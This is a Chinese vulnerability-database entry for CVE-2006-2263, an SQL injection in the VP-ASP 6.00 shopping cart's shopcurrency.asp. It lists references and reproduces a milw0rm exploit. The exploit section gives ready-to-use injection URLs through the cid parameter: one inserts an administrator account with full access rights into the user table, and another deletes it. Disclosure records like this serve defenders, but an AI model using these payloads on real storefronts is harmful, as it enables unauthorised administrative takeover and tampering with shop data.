VP-ASP Shopcurrency.ASP SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110223 漏洞类型 SQL注入
发布时间 2006-05-06 更新时间 2006-05-10
CVE编号 CVE-2006-2263 CNNVD-ID CNNVD-200605-178
漏洞平台 ASP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1759
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-178
|漏洞详情
VP-ASP6.00的shopcurrency.asp存在SQL注入漏洞,远程攻击者可以通过cid参数执行任意SQL指令。
|漏洞EXP
VP-ASP 6.00 SQL Injection / Exploit by tracewar(tracewar@gmail.com)

people claimed there is some underground sploit for vp-asp 6.00 and I was sure that
if a sploit really exist in the ug i can find the bug and make a small hack for it ^^
well it didn't take me more then 5 minutes to find a bug in vp-asp.

* the vendor was already notified.

p.s. before we get to the bug/hack.. I'm not responsible for any illegal actions
taken by people using the information in this document, if you don't agree please stop reading
and close this text document asap.

* this information is for educational purposes only!

----

The SQL Injection bug is in the shopcurrency.asp file under the "cid" query.

quick hack to add user a/a:

/shopcurrency.asp?cid=AUD';insert into tbluser ("fldusername","fldpassword","fldaccess") values ('a','a','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29')--

and for those of you that don't know sql at all
this is how you remove the user 'a':

/shopcurrency.asp?cid=AUD';delete from tbluser where fldusername='a'--

-tracewar

# milw0rm.com [2006-05-06]
|参考资料

来源:VUPEN
名称:ADV-2006-1703
链接:http://www.frsirt.com/english/advisories/2006/1703
来源:SECUNIA
名称:20004
链接:http://secunia.com/advisories/20004
来源:MILW0RM
名称:1759
链接:http://milw0rm.com/exploits/1759
来源:XF
名称:vpaspshopcart-shopcurrency-sql-injection(26337)
链接:http://xforce.iss.net/xforce/xfdb/26337
来源:BID
名称:17882
链接:http://www.securityfocus.com/bid/17882
来源:OSVDB
名称:25449
链接:http://www.osvdb.org/25449